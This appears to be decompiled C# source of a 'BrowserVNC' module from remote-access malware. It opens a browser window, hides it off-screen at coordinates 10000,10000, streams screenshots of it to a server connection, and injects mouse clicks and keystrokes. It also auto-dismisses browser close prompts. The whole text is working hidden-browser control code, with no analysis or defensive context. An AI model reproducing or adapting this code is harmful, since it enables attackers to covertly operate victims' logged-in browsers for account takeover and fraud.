// Token: 0x060000DF RID: 223 RVA: 0x00010728 File Offset: 0x0000E928 public static IntPtr FindHandle(string title) { BrowserVNC.collection = new List <string>(); BrowserVNC.collection2 = new List <IntPtr>(); BrowserVNC.MyDelegateCallBack lpEnumCallbackFunction = new BrowserVNC.MyDelegateCallBack(BrowserVNC.filter); BrowserVNC.EnumDesktopWindows(IntPtr.Zero, lpEnumCallbackFunction, IntPtr.Zero); int i = BrowserVNC.collection.Count - 1; IntPtr result; while (i >= 0) { if (BrowserVNC.collection[i].ToLower().Contains(title.ToLower())) { object obj = NewLateBinding.LateIndexGet(BrowserVNC.collection2, new object[] { i }, null); if (obj == null) { return(result); } return((IntPtr)obj); } else { i += -1; } } return(result); }
// Token: 0x060000DD RID: 221 RVA: 0x00010634 File Offset: 0x0000E834 public static void PostClickRU(int x, int y) { BrowserVNC.RECT rect = default(BrowserVNC.RECT); BrowserVNC.GetWindowRect(BrowserVNC.foundhandle, ref rect); Point point = new Point(10000 + x - rect.Left, 10000 + y - rect.Top); BrowserVNC.PostMessage(BrowserVNC.foundhandle, 517u, (IntPtr)0L, (IntPtr)BrowserVNC.MakeLParam(x - rect.Left, y - rect.Top)); }
// Token: 0x060000DE RID: 222 RVA: 0x000106B0 File Offset: 0x0000E8B0 public static void PostKeydown(string k) { int num = Strings.AscW(k); if (num == 8 | num == 13) { BrowserVNC.PostMessage(BrowserVNC.foundhandle, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(k))), (IntPtr)1); } else { BrowserVNC.PostMessage(BrowserVNC.foundhandle, 258u, (IntPtr)Strings.AscW(k), (IntPtr)1); } }
// Token: 0x060000D6 RID: 214 RVA: 0x000101D4 File Offset: 0x0000E3D4 public static void StopBrowserThread() { try { BrowserVNC.newt.Abort(); IntPtr intPtr; Functions.SendMessage(BrowserVNC.foundhandle, 16, intPtr, intPtr); Thread.Sleep(2000); BrowserVNC.PostMessage(Functions.FindWindow(null, "Exit and close tabs?"), 256u, (IntPtr)13, (IntPtr)1); BrowserVNC.PostMessage(Functions.FindWindow(null, "Close tabs?"), 256u, (IntPtr)13, (IntPtr)1); } catch (Exception ex) { } }
// Token: 0x060000D9 RID: 217 RVA: 0x00010360 File Offset: 0x0000E560 public static void UploadScreenshots(object delay) { for (;;) { try { BrowserVNC.GetWindowRect(BrowserVNC.foundhandle, ref BrowserVNC.wr); BrowserVNC.screenCapture = new Bitmap(BrowserVNC.wr.Right - BrowserVNC.wr.Left + 1, BrowserVNC.wr.Bottom - BrowserVNC.wr.Top + 1); BrowserVNC.screenCapture.SetResolution(302f, 302f); BrowserVNC.g = Graphics.FromImage(BrowserVNC.screenCapture); BrowserVNC.hdc = BrowserVNC.g.GetHdc(); if (Conversions.ToBoolean(BrowserVNC.Isgreaterorequalto81())) { BrowserVNC.PrintWindow(BrowserVNC.foundhandle, BrowserVNC.hdc, 2u); } else { BrowserVNC.PrintWindow(BrowserVNC.foundhandle, BrowserVNC.hdc, 0u); } BrowserVNC.g.ReleaseHdc(BrowserVNC.hdc); BrowserVNC.g.Flush(); BrowserVNC.g.Dispose(); Functions.uploadserialized(Server.nstream, BrowserVNC.screenCapture); BrowserVNC.screenCapture.Dispose(); GC.Collect(); } catch (Exception ex) { try { BrowserVNC.screenCapture.Dispose(); BrowserVNC.g.ReleaseHdc(); BrowserVNC.g.Flush(); BrowserVNC.g.Dispose(); } catch (Exception ex2) { } } Thread.Sleep(Conversions.ToInteger(delay)); } }
// Token: 0x060000E0 RID: 224 RVA: 0x000107CC File Offset: 0x0000E9CC public static bool filter(IntPtr hWnd, int lParam) { StringBuilder stringBuilder = new StringBuilder(255); IntPtr hWnd2 = hWnd; int msg = 13; int countOfChars = stringBuilder.Capacity + 1; StringBuilder text = stringBuilder; BrowserVNC.SendMessageTimeoutFlags flags = BrowserVNC.SendMessageTimeoutFlags.SMTO_ABORTIFHUNG; uint uTImeoutj = 1000u; IntPtr zero = IntPtr.Zero; int num = (int)BrowserVNC.SendMessageTimeoutText(hWnd2, msg, countOfChars, text, flags, uTImeoutj, out zero); string text2 = stringBuilder.ToString(); if (BrowserVNC.IsWindowVisible(hWnd) && !string.IsNullOrEmpty(text2)) { object instance = BrowserVNC.collection2; Type type = null; string memberName = "Add"; object[] array = new object[] { hWnd }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { hWnd = (IntPtr)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(IntPtr)); } BrowserVNC.collection.Add(text2); } return(true); }
// Token: 0x060000D4 RID: 212 RVA: 0x0000FF80 File Offset: 0x0000E180 public static void Initialize(string browser) { string title = "Firebird Browser"; try { BrowserVNC.DwmEnableComposition(true); } catch (Exception ex) { } if (Operators.CompareString(browser, "Chrome", false) == 0) { Process.Start("chrome", "--new-window \"data:text/html,<title>Firebird Browser</title>\" --mute-audio --window-position=" + Conversions.ToString(Screen.PrimaryScreen.Bounds.Width - 5) + "," + Conversions.ToString(Screen.PrimaryScreen.Bounds.Height - 100)); } else if (Operators.CompareString(browser, "Firefox", false) == 0) { Process.Start("firefox", "-new-window \"data:text/html,<title>Firebird Browser</title>\""); } else if (Operators.CompareString(browser, "Internet Explorer", false) == 0) { title = "DuckDuckGo"; Process.Start("iexplore", "-new -extoff duckduckgo.com"); } else if (Operators.CompareString(browser, "Edge", false) == 0) { title = "DuckDuckGo"; Process.Start("microsoft-edge:duckduckgo.com"); } Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); BrowserVNC.foundhandle = 0; IntPtr intPtr; while (BrowserVNC.foundhandle == intPtr) { BrowserVNC.foundhandle = BrowserVNC.FindHandle(title); if (stopwatch.ElapsedMilliseconds >= 8000L) { return; } } stopwatch.Stop(); Functions.ShowWindow(BrowserVNC.foundhandle, 0); BrowserVNC.SetWindowLong(BrowserVNC.foundhandle, BrowserVNC.WindowLongFlags.GWL_EXSTYLE, 128); Functions.ShowWindow(BrowserVNC.foundhandle, 5); BrowserVNC.SetWindowPos(BrowserVNC.foundhandle, (IntPtr)1, 10000, 10000, 776, 426, 64u); Stopwatch stopwatch2 = new Stopwatch(); stopwatch2.Start(); IntPtr intPtr2; while (intPtr2 == intPtr) { intPtr2 = Functions.FindWindow(null, "Default Browser"); if (stopwatch2.ElapsedMilliseconds >= 2000L) { break; } Thread.Sleep(250); } if (!(intPtr2 == intPtr)) { Functions.SendMessage(intPtr2, 16, intPtr, intPtr); } }
// Token: 0x060000E2 RID: 226 RVA: 0x000108AC File Offset: 0x0000EAAC public static void ResizeBrowser(int w, int h) { BrowserVNC.SetWindowPos(BrowserVNC.foundhandle, (IntPtr)1, 10000, 10000, w, h, 64u); }